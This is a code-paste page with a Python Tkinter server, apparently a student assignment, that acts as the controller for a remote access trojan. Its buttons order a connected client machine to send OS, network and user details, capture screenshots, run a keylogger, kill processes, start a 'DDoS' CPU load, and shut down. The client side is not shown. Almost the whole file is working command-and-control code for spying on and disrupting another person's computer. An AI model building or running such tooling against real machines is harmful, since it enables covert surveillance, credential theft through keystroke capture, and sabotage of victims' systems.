Server

Python code posted
created at 13 Apr 12:07

Edit | Back
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
import socket
import threading
import json
import tkinter as tk
from tkinter import ttk, PhotoImage
from PIL import Image,ImageTk
from socket import gethostname,gethostbyname
import time


def start_server():
    conn, address = server_socket.accept()  # accept new connection
    client.append(conn)
    receive_thread = threading.Thread(target=receive,args=(conn,))
    receive_thread.start()

def receive(client_socket):
    #Handles receiving of messages.
    BUFSIZ = 16384
    while True:
        msg = client_socket.recv(BUFSIZ)
        if msg[-13:]==b"{get_os_info}":
            received_os_info(msg)
        elif msg[-13:]==b"{get_nc_info}":
            received_nc_info(msg)
        elif msg[-15:]==b"{get_user_info}":
            received_user_info(msg)
        elif msg[-8:]==b"{keylog}":
            received_keylog(msg)
        elif msg[-15:]==b"{get_processes}":
            received_processes(msg)
        elif msg[-14:]==b"{get_services}":
            received_services(msg)
        elif msg[-6:]==b"{ddos}":
            received_cpu_usage(msg)
        else:
            received_screenshot(msg)

def request_info(client,request):
    conn=client[0]
    send_instrusion = request.encode('utf-8')
    conn.send(send_instrusion)

def received_os_info(info):
    info=info.decode("utf-8")
    info=info[:-13]
    os_info=info
    os_info=json.loads(os_info)
    os_info_label1.configure(text="System: " + os_info[0])
    os_info_label2.configure(text="Node: " + os_info[1])
    os_info_label3.configure(text="Release: " + os_info[2])
    os_info_label4.configure(text="Version: " + os_info[3])
    os_info_label5.configure(text="Machine: " + os_info[4])
    os_info_label6.configure(text="Processor: " + os_info[5])

def received_nc_info(info):
    info=info.decode("utf-8")
    info=info[:-13]
    nc_info=info
    nc_info=json.loads(nc_info)
    nc_info_label1.configure(text="IP address: " + nc_info[0])
    nc_info_label2.configure(text="Mac address: " + nc_info[1])
    nc_info_label3.configure(text="Netmask: " + nc_info[2])

def received_user_info(info):
    info=info.decode("utf-8")
    info=info[:-15]
    user_info=info
    user_info=json.loads(user_info)
    user_info_label1.configure(text="Username: " + user_info[0])
    user_info_label2.configure(text="Security Identifier (SID): " + user_info[1])
    user_info_label3.configure(text="Last log on:  " + user_info[2])

def received_cpu_usage(info):
    info=info.decode("utf-8")
    info=info[:-6]
    cpu_usage=json.loads(info)
    label_cpu_usage.configure(text='The CPU usage is: '+ str(cpu_usage) +"%")

def received_processes(info):
    for item in tree.get_children(): #tkinter module - column
        tree.delete(item)           #delte the ori data
    info=info.decode("utf-8")
    info=info[:-15]
    processes=info
    processes=json.loads(processes)
    for process in processes:
        tree.insert('', tk.END, values=process)     #delete the selected process from the tree column

def received_services(info):
    for item in tree1.get_children():
        tree1.delete(item)
    info=info.decode("utf-8")
    info=info[:-14]
    processes=info
    processes=json.loads(processes)
    for process in processes:
        tree1.insert('', tk.END, values=process)
#Attack
def proc_selected(event):
    for selected_proc in tree.selection():
        dict_proc = tree.item(selected_proc)
        procname = dict_proc['values'][1]
        procname="%s{kill_process}"%procname #send to client to execute the function
        request_info(client,procname)

def received_keylog(info):
    info=info.decode("utf-8")
    info=info[:-8]
    if len(info)==3: 
        info=info[1]
    elif info[:3]=="Key":
        info=" %s "%info
    text_keylog.configure(state='normal')
    text_keylog.insert(tk.END, info)
    text_keylog.configure(state='disable')

def clear_keglog():
    text_keylog.configure(state='normal')
    text_keylog.delete("1.0","end")
    text_keylog.configure(state='disable')

def open_file():
    global file, filepath
    ss_time = int(time.time())
    filename = "Screenshot" + str(ss_time) + ".jpg"
    filepath = r"Screenshot\%s" % filename
    file = open(filepath, 'wb')

def received_screenshot(image_chunk):
    if len(image_chunk)==16384:
        file.write(image_chunk)
    elif len(image_chunk)<16384:
        file.write(image_chunk)
        file.close()
        display_screenshot()

def display_screenshot():
    image = Image.open(filepath)
    fixed_height = 420
    height_percent = (fixed_height / float(image.size[1]))
    width_size = int((float(image.size[0]) * float(height_percent)))
    resized_image = image.resize((width_size, fixed_height), Image.ANTIALIAS)
    disp_img = ImageTk.PhotoImage(resized_image)
    label_img.config(image=disp_img)
    label_img.image=disp_img
    label_img.grid(row=0,column=0)

def clear_screenshot():
    label_img.grid_forget()
    label_text.grid(row=0,column=0)

# method to make widget visible
def change_tab(frame):
    if frame=="btn1_frame":
        btn2_frame.grid_forget()
        btn3_frame.grid_forget()
        btn4_frame.grid_forget()
        btn5_frame.grid_forget()
        btn6_frame.grid_forget()
        btn1_frame.grid(row=0,column=1,sticky="nsew")
    elif frame=="btn2_frame":
        btn1_frame.grid_forget()
        btn3_frame.grid_forget()
        btn4_frame.grid_forget()
        btn5_frame.grid_forget()
        btn6_frame.grid_forget()
        btn2_frame.grid(row=0,column=1,sticky="nsew")
    elif frame=="btn3_frame":
        btn1_frame.grid_forget()
        btn2_frame.grid_forget()
        btn4_frame.grid_forget()
        btn5_frame.grid_forget()
        btn6_frame.grid_forget()
        btn3_frame.grid(row=0,column=1,sticky="nsew")
    elif frame=="btn4_frame":
        btn1_frame.grid_forget()
        btn2_frame.grid_forget()
        btn3_frame.grid_forget()
        btn5_frame.grid_forget()
        btn6_frame.grid_forget()
        btn4_frame.grid(row=0,column=1,sticky="nsew")
    elif frame=="btn5_frame":
        btn1_frame.grid_forget()
        btn2_frame.grid_forget()
        btn3_frame.grid_forget()
        btn4_frame.grid_forget()
        btn6_frame.grid_forget()
        btn5_frame.grid(row=0,column=1,sticky="nsew")
    elif frame=="btn6_frame":
        btn1_frame.grid_forget()
        btn2_frame.grid_forget()
        btn3_frame.grid_forget()
        btn4_frame.grid_forget()
        btn5_frame.grid_forget()
        btn6_frame.grid(row=0,column=1,sticky="nsew")




# Socket Part
client=[]
message=[]
host=gethostbyname(gethostname())
port = 33333
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # get instance IPV4,
# The bind() function takes tuple as argument
server_socket.bind((host, port)) #bind host address and port together 
server_socket.listen(2)    # configure how many client the server can listen simultaneously
ACCEPT_THREAD = threading.Thread(target=start_server)
ACCEPT_THREAD.start()


# Create window
window = tk.Tk()
window.title("MASP Assignment Server")

# Set the theme
window.tk.call("source", "azure.tcl")
window.tk.call("set_theme", "dark")

# Create style used by default for all Frames
s = ttk.Style()
s.configure('Frame1.TFrame', background='#262a4b')

# Set the minsize of the application
window.rowconfigure(0, minsize=600, weight=1)
window.columnconfigure(0, minsize=250, weight=1)
window.columnconfigure(1, minsize=800, weight=1)



# Create a Frame for the Buttons
btn_options_frame=ttk.Frame(window,style='Frame1.TFrame')
#s.configure('big.TButton', font=(None,15))
#photo1 = PhotoImage(file = r"Icon\get_info.png")
#photoimage = photo1.subsample(2,2)
#btn1=ttk.Button(btn_options_frame,text="Get Info",image=photoimage,compound = "left",command=lambda: change_tab("btn1_frame"))
btn1=ttk.Button(btn_options_frame,text="Get Info",command=lambda: change_tab("btn1_frame"))
btn2=ttk.Button(btn_options_frame,text="Screenshot",command=lambda: change_tab("btn2_frame"))
btn3=ttk.Button(btn_options_frame,text="Keylogger",command=lambda: change_tab("btn3_frame"))
btn4=ttk.Button(btn_options_frame,text="Kill Processes",command=lambda: change_tab("btn4_frame"))
btn5=ttk.Button(btn_options_frame,text="DDoS",command=lambda: change_tab("btn5_frame"))
btn6=ttk.Button(btn_options_frame,text="Shutdown",command=lambda: change_tab("btn6_frame"))
label_server_ip=ttk.Label(btn_options_frame,text="Server IP: "+host,background="#262a4b")

btn_options_frame.grid(row=0,column=0,sticky="nsew")
btn1.grid(row=0, column=0, sticky="ew", padx=5, pady=5, ipadx=50, ipady=18)
btn2.grid(row=1, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20)
btn3.grid(row=2, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20)
btn4.grid(row=3, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20)
btn5.grid(row=4, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20)
btn6.grid(row=5, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20)
label_server_ip.grid(row=6, column=0, padx=5, pady=5)




### Create Tab for Button 1 ### Get Info
btn1_frame=ttk.Frame(window)
btn1_frame.grid(row=0,column=1,sticky="nsew")

labelFrame1=ttk.LabelFrame(btn1_frame, text="Operating System Information", padding=(20, 10))
labelFrame2=ttk.LabelFrame(btn1_frame, text="Network Card Information", padding=(20, 10))
labelFrame3=ttk.LabelFrame(btn1_frame, text="User Information", padding=(20, 10))
os_info_button=ttk.Button(btn1_frame,text="Get Info",command=lambda: request_info(client,request="{get_os_info}"))
nc_info_button=ttk.Button(btn1_frame,text="Get Info",command=lambda: request_info(client,request="{get_nc_info}"))
user_info_button=ttk.Button(btn1_frame,text="Get Info",command=lambda: request_info(client,request="{get_user_info}"))

labelFrame1.columnconfigure(0, minsize=300, weight=1)
labelFrame1.columnconfigure(1, minsize=400, weight=1)
labelFrame2.columnconfigure(0, minsize=300, weight=1)
labelFrame2.columnconfigure(1, minsize=400, weight=1)
labelFrame3.columnconfigure(0, minsize=300, weight=1)
labelFrame3.columnconfigure(1, minsize=400, weight=1)
labelFrame1.grid(row=0, column=0, padx=(20, 10), pady=(20, 10), sticky="nsew")
os_info_button.grid(row=1,column=0,padx=5, pady=5, sticky="s")
labelFrame2.grid(row=2, column=0, padx=(20, 10), pady=(20, 10), sticky="nsew")
nc_info_button.grid(row=3,column=0,padx=5, pady=5, sticky="s")
labelFrame3.grid(row=4, column=0, padx=(20, 10), pady=(20, 10), sticky="nsew")
user_info_button.grid(row=5,column=0,padx=5, pady=5, sticky="s")


os_info_label1=ttk.Label(labelFrame1,text="System: ")
os_info_label2=ttk.Label(labelFrame1,text="Node: ")
os_info_label3=ttk.Label(labelFrame1,text="Release: ")
os_info_label4=ttk.Label(labelFrame1,text="Version: ")
os_info_label5=ttk.Label(labelFrame1,text="Machine: ")
os_info_label6=ttk.Label(labelFrame1,text="Processor: ")
os_info_label1.grid(row=0,column=0,padx=5, pady=10, sticky="w")
os_info_label2.grid(row=1,column=0,padx=5, pady=10, sticky="w")
os_info_label3.grid(row=2,column=0,padx=5, pady=10, sticky="w")
os_info_label4.grid(row=0,column=1,padx=5, pady=10, sticky="w")
os_info_label5.grid(row=1,column=1,padx=5, pady=10, sticky="w")
os_info_label6.grid(row=2,column=1,padx=5, pady=10, sticky="w")

nc_info_label1=ttk.Label(labelFrame2,text="IP address: ")
nc_info_label2=ttk.Label(labelFrame2,text="Mac address: ")
nc_info_label3=ttk.Label(labelFrame2,text="Netmask: ")
nc_info_label1.grid(row=0,column=0,padx=5, pady=10, sticky="w")
nc_info_label2.grid(row=0,column=1,padx=5, pady=10, sticky="w")
nc_info_label3.grid(row=1,column=0,padx=5, pady=10, sticky="w")

user_info_label1=ttk.Label(labelFrame3,text="Username: ")
user_info_label2=ttk.Label(labelFrame3,text="Security Identifier (SID): ")
user_info_label3=ttk.Label(labelFrame3,text="Last log on: ")
user_info_label1.grid(row=0,column=0,padx=5, pady=10, sticky="w")
user_info_label2.grid(row=0,column=1,padx=5, pady=10, sticky="w")
user_info_label3.grid(row=1,column=0,padx=5, pady=10, sticky="w")




### Create Tab for Button 2 ### Screenshot
btn2_frame=ttk.Frame(window)

frame_img=ttk.Frame(btn2_frame)
frame_img.rowconfigure(0, minsize=420, weight=1)
frame_img.columnconfigure(0, minsize=800, weight=1)
label_text=ttk.Label(frame_img,text="Press the 'Screenshot' button to get the screenshot of the client machine")
label_img=ttk.Label(frame_img)

frame_under_img_frame=ttk.Frame(btn2_frame)
btn_clear=ttk.Button(frame_under_img_frame,text="Clear",command=clear_screenshot)
btn_screenshot=ttk.Button(frame_under_img_frame,text="Screenshot",command=lambda: [open_file(),request_info(client,request="{screenshot}")])

frame_img.grid(row=0,column=0)
label_img.grid(row=0,column=0)
label_text.grid(row=0,column=0)

frame_under_img_frame.grid(row=1,column=0)
btn_clear.grid(row=0,column=0,padx=5,pady=5)
btn_screenshot.grid(row=0,column=1,padx=5,pady=5)




### Create Tab for Button 3 ### Keylogger
btn3_frame=ttk.Frame(window)
frame_text_keylog=ttk.Frame(btn3_frame)
frame_text_keylog.rowconfigure(0, minsize=420, weight=1)
frame_text_keylog.columnconfigure(0, minsize=800, weight=1)
text_keylog=tk.Text(frame_text_keylog,state="disable")

frame_under_text_keylog=ttk.Frame(btn3_frame)
btn_start_keylog=ttk.Button(frame_under_text_keylog,text="Start Keylogging",command=lambda: request_info(client,request="{keylog}"))
btn_stop_keylog=ttk.Button(frame_under_text_keylog,text="Stop Keylogging",command=lambda: request_info(client,request="{stop_keylog}"))
btn_clear_keylog=ttk.Button(frame_under_text_keylog,text="Clear All",command=clear_keglog)

frame_text_keylog.grid(row=0,column=0)
text_keylog.grid(row=0,column=0,sticky="ew")

frame_under_text_keylog.grid(row=1,column=0)
btn_start_keylog.grid(row=0,column=0,padx=5,pady=5)
btn_stop_keylog.grid(row=0,column=1,padx=5,pady=5)
btn_clear_keylog.grid(row=0,column=2,padx=5,pady=5)



### Create Tab for Button 4 ### Kill Processes
btn4_frame=ttk.Frame(window)

# Processes
# define columns
columns = ('pid', 'name')
tree = ttk.Treeview(btn4_frame, columns=columns, show='headings',height=20)
tree.column('pid', width=280, anchor="w")
tree.column('name', width=450, anchor="w")

# define headings
tree.heading('pid', text='PID')
tree.heading('name', text='Name')

tree.grid(row=0, column=0, sticky='nsew')

# add a scrollbar
scrollbar = ttk.Scrollbar(btn4_frame, orient=tk.VERTICAL, command=tree.yview)
tree.configure(yscroll=scrollbar.set)
scrollbar.grid(row=0, column=1, sticky='ns')

btn_get_processes=ttk.Button(btn4_frame,text="Get Processes",command=lambda: request_info(client,request="{get_processes}"))
btn_get_processes.grid(row=1,column=0,padx=5,pady=5)

tree.bind('<Double-1>', proc_selected)

# Services
# define columns
columns1 = ('ServiceName', 'DisplayName')
tree1 = ttk.Treeview(btn4_frame, columns=columns1, show='headings',height=5)
tree1.column('ServiceName', width=280, anchor="w")
tree1.column('DisplayName', width=450, anchor="w")

# define headings
tree1.heading('ServiceName', text='Service Name')
tree1.heading('DisplayName', text='Display Name')

tree1.grid(row=2, column=0, sticky='nsew')

# add a scrollbar
scrollbar1 = ttk.Scrollbar(btn4_frame, orient=tk.VERTICAL, command=tree1.yview)
tree1.configure(yscroll=scrollbar1.set)
scrollbar1.grid(row=2, column=1, sticky='ns')

btn_get_services=ttk.Button(btn4_frame,text="Get Services",command=lambda: request_info(client,request="{get_services}"))
btn_get_services.grid(row=3,column=0,padx=5,pady=5)




### Create Tab for Button 5 ### DDoS
btn5_frame=ttk.Frame(window)
btn5_frame.grid_columnconfigure(0, weight=1)
btn5_frame.grid_rowconfigure(0, weight=1)
btn5_frame.grid_rowconfigure(1, weight=1)
label_cpu_usage=ttk.Label(btn5_frame,text="CPU Usage:")
btn_ddos=ttk.Button(btn5_frame,text="Start DDoS",command=lambda: request_info(client,request="{ddos}"))
btn_ddos.grid(row=1,column=0,padx=5,pady=5,ipadx=100,ipady=10,sticky="n")
label_cpu_usage.grid(row=0,column=0,padx=5,pady=5,ipadx=100,ipady=10,sticky="s")




### Create Tab for Button 6 ### Shutdown
btn6_frame=ttk.Frame(window)
btn6_frame.grid_columnconfigure(0, weight=1)
btn6_frame.grid_rowconfigure(0, weight=1)
btn_shutdown=ttk.Button(btn6_frame,text="Shutdown Client",command=lambda: request_info(client,request="{shutdown}"))
btn_shutdown.grid(row=0,column=0,padx=5,pady=5,ipadx=100,ipady=10)




window.update()
window.minsize(window.winfo_width(), window.winfo_height())
x_cordinate = int((window.winfo_screenwidth() / 2) - (window.winfo_width() / 2))
y_cordinate = int((window.winfo_screenheight() / 2) - (window.winfo_height() / 2))
window.geometry("+{}+{}".format(x_cordinate, y_cordinate-20))
window.mainloop()
16.6 KB in 21 ms with coderay